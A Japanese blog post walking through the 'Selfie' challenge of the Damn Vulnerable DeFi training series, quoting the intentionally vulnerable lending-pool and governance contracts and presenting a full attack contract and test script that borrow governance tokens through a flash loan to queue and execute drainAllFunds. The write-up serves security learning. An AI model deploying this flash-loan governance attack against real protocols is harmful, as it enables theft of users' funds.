moon

moon

Build for builders on blockchain
github
twitter

Defiハッカーシリーズ:Damn Vulnerable DeFi (六) - セルフィー

ダム脆弱な DeFi は、DeFi スマートコントラクト攻撃チャレンジシリーズです。内容には、フラッシュローン攻撃、貸出プール、オンチェーンオラクルなどが含まれています。始める前に、Solidity および JavaScript に関するスキルが必要です。各問題に対して、あなたがするべきことは、その問題のユニットテストが通過することを保証することです。

問題リンク:https://www.damnvulnerabledefi.xyz/challenges/6.html

問題の説明:

DVT トークンのフラッシュローン機能を提供する貸出プールがあります。DVT トークンは、ガバナンストークンとしてガバナンスコントラクトにガバナンス機能を提供します。現在、貸出プールには 150 万のトークンがあります。あなたの目標は、これらのトークンをすべて引き出すことです。

この問題には 3 つのスマートコントラクトがあります:

  • DamnValuableTokenSnapshot snapshot 機能を持つ token コントラクト
  • SelfiePool 貸出プールコントラクト
  • SimpleGovernance ガバナンスコントラクト

まず、貸出プールコントラクトのソースコードを見てみましょう。

contract SelfiePool is ReentrancyGuard {
    using Address for address;
    // トークンコントラクト
    ERC20Snapshot public token;
    // ガバナンスコントラクト
    SimpleGovernance public governance;

    event FundsDrained(address indexed receiver, uint256 amount);

    // 実行者がガバナンスコントラクトであることを確認する修飾子
    modifier onlyGovernance() {
        require(msg.sender == address(governance), "Only governance can execute this action");
        _;
    }

    // コンストラクタ: トークンとガバナンスのインスタンスを作成
    constructor(address tokenAddress, address governanceAddress) {
        token = ERC20Snapshot(tokenAddress);
        governance = SimpleGovernance(governanceAddress);
    }

    // フラッシュローン関数
    function flashLoan(uint256 borrowAmount) external nonReentrant {
        // 残高が十分であることを確認
        uint256 balanceBefore = token.balanceOf(address(this));
        require(balanceBefore >= borrowAmount, "Not enough tokens in pool");
        
        // borrowAmount 数量のトークンを msg.sender に転送
        token.transfer(msg.sender, borrowAmount);        
        
        // msg.sender がコントラクトアドレスであることを確認
        require(msg.sender.isContract(), "Sender must be a deployed contract");

        // msg.sender の receiveTokens メソッドを呼び出す
        msg.sender.functionCall(
            abi.encodeWithSignature(
                "receiveTokens(address,uint256)",
                address(token),
                borrowAmount
            )
        );

        // 借りたトークンが返却されたことを確認
        uint256 balanceAfter = token.balanceOf(address(this));
        require(balanceAfter >= balanceBefore, "Flash loan hasn't been paid back");
    }

    // このコントラクト内のすべてのトークンを引き出し、ガバナンスのみが呼び出せる
    function drainAllFunds(address receiver) external onlyGovernance {
        // 残高を取得
        uint256 amount = token.balanceOf(address(this));
        // トークンを receiver に転送
        token.transfer(receiver, amount);
        
        emit FundsDrained(receiver, amount);
    }
}

この貸出プールコントラクトは 2 つのメソッドを提供します。

  • flashLoan フラッシュローンメソッドで、呼び出し元の receiveTokens メソッドをコールバックします。
  • drainAllFunds すべての token を引き出し、このメソッドの呼び出し元はガバナンスコントラクトでなければなりません。

次に、ガバナンスコントラクトのソースコードを見てみましょう。

contract SimpleGovernance {
    using Address for address;

    struct GovernanceAction {
        address receiver;
        bytes data;
        uint256 weiAmount;
        uint256 proposedAt;
        uint256 executedAt;
    }
    // ガバナンストークン
    DamnValuableTokenSnapshot public governanceToken;
    // すべてのアクションのマッピングを保存
    mapping(uint256 => GovernanceAction) public actions;
    // アクションカウンタ
    uint256 private actionCounter;
    uint256 private ACTION_DELAY_IN_SECONDS = 2 days;

    event ActionQueued(uint256 actionId, address indexed caller);
    event ActionExecuted(uint256 actionId, address indexed caller);

    // コンストラクタ, ガバナンストークンのアドレスを受け取る
    constructor(address governanceTokenAddress) {
        require(governanceTokenAddress != address(0), "Governance token cannot be zero address");
        governanceToken = DamnValuableTokenSnapshot(governanceTokenAddress);
        actionCounter = 1;
    }

    // アクションを作成する
    function queueAction(address receiver, bytes calldata data, uint256 weiAmount) external returns (uint256) {
        // 十分な投票があることを確認
        require(_hasEnoughVotes(msg.sender), "Not enough votes to propose an action");
        // receiver がこのコントラクトでないことを確認
        require(receiver != address(this), "Cannot queue actions that affect Governance");

        // アクションを actions に保存
        uint256 actionId = actionCounter;
        GovernanceAction storage actionToQueue = actions[actionId];
        actionToQueue.receiver = receiver;
        actionToQueue.weiAmount = weiAmount;
        actionToQueue.data = data;
        actionToQueue.proposedAt = block.timestamp;

        actionCounter++;

        emit ActionQueued(actionId, msg.sender);

        // actionId を返す
        return actionId;
    }

    // 作成したアクションを実行する
    function executeAction(uint256 actionId) external payable {
        // 作成したアクションが実行可能かどうか
        require(_canBeExecuted(actionId), "Cannot execute this action");
        
        // 現在の最新の待機中のアクションを取得
        GovernanceAction storage actionToExecute = actions[actionId];
        // 実行時間を現在の時間に設定
        actionToExecute.executedAt = block.timestamp;

        // action.receiver の data を実行
        actionToExecute.receiver.functionCallWithValue(
            actionToExecute.data,
            actionToExecute.weiAmount
        );

        emit ActionExecuted(actionId, msg.sender);
    }

    function getActionDelay() public view returns (uint256) {
        return ACTION_DELAY_IN_SECONDS;
    }

    // アクションが実行可能かどうかを判断する
    // 1. 一度も実行されていない
    // 2. 作成時間が 2 日を超えている
    function _canBeExecuted(uint256 actionId) private view returns (bool) {
        GovernanceAction memory actionToExecute = actions[actionId];
        return (
            actionToExecute.executedAt == 0 &&
            (block.timestamp - actionToExecute.proposedAt >= ACTION_DELAY_IN_SECONDS)
        );
    }

    // 十分な投票があるかどうかを判断する
    // 所有する governanceToken の数が総量の半分より大きい
    function _hasEnoughVotes(address account) private view returns (bool) {
        uint256 balance = governanceToken.getBalanceAtLastSnapshot(account);
        uint256 halfTotalSupply = governanceToken.getTotalSupplyAtLastSnapshot() / 2;
        return balance > halfTotalSupply;
    }
}

ガバナンスコントラクトの核心は 2 つのメソッドです。

  • queueAction action を作成し、関連データを保存します。
  • executeAction 作成した action を実行し、本質的には action.receive の中の data を実行します。

さて、私たちの最終目標に戻りましょう:貸出プール内のすべての token を引き出すことです。これは drainAllFunds メソッドを呼び出すことで達成できますが、このメソッドはガバナンスコントラクトからのみ呼び出すことができます。行き詰まったように見えますが、ガバナンスコントラクトの executeAction メソッド内部では action.receive の中の data を実行します。もし receive が貸出プールコントラクトで、datadrainAllFunds メソッドであれば、実行可能なようです。しかし、アクションを作成するためには、少なくとも半分のガバナンストークンを所有している必要があります。この時点で、フラッシュローンを使用して token を所有することができます。

最終的な攻撃手順は次のとおりです:

  1. フラッシュローンを通じてプール内のすべての token を借りる
  2. コールバックメソッド内で drainAllFundsdata を構築し、ガバナンスコントラクトの queueAction を呼び出して action を作成する
  3. トークンを返却する
  4. 2 日後に、ガバナンスコントラクトの executeAction メソッドを実行し、トークンを攻撃者に転送する。

攻撃コントラクトは次のとおりです。

SelfieAttack.sol

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "../selfie/SimpleGovernance.sol";
import "../selfie/SelfiePool.sol";
import "../DamnValuableTokenSnapshot.sol";

contract SelfieAttack {

  SelfiePool public pool;
  SimpleGovernance public governance;

  address public attacker;
  uint public actionId;

  constructor (address _pool, address _governance) {
    pool = SelfiePool(_pool);
    governance = SimpleGovernance(_governance);
    attacker = msg.sender;
  }

  function attack(uint amount) public {
    pool.flashLoan(amount);
  }

  function receiveTokens(address _token, uint _amount) public {
    // data を構築
    bytes memory data = abi.encodeWithSignature("drainAllFunds(address)", attacker);
    // スナップショットを実行
    DamnValuableTokenSnapshot token = DamnValuableTokenSnapshot(_token);
    token.snapshot();
    // アクションを作成
    actionId = governance.queueAction(address(pool), data, 0);
    // トークンを返却
    token.transfer(address(pool), _amount);
  }
}

queueAction を呼び出した後に作成された action は次のようになります。

{
  receiver: 貸出プールコントラクト,
	data: drainAllFunds(attacker)
  ...
}

2 日後、ガバナンスコントラクトの executeAction メソッドを実行すると、receiverdata が呼び出され、つまり貸出プールコントラクトの drainAllFunds が呼び出され、パラメータは attacker になります。

// receiver アドレスは attacker
function drainAllFunds(address receiver) external onlyGovernance {
    // 残高を取得
    uint256 amount = token.balanceOf(address(this));
    // トークンを receiver に転送
    token.transfer(receiver, amount);

    emit FundsDrained(receiver, amount);
}

最後に、ユニットテストファイル selfie.challenge.js に実行コードを記述します。

it('Exploit', async function () {
  const SelfieAttackFactory = await ethers.getContractFactory('SelfieAttack', attacker)
  const selfieAttack = await SelfieAttackFactory.deploy(this.pool.address, this.governance.address)
  await selfieAttack.attack(TOKENS_IN_POOL)

  await ethers.provider.send('evm_increaseTime', [2 * 24 * 60 * 60])
  const actionId = await selfieAttack.actionId()
  this.governance.executeAction(actionId)
})

yarn selfie を実行すると、テストが通過します!

完全なコード

読み込み中...
文章は、創作者によって署名され、ブロックチェーンに安全に保存されています。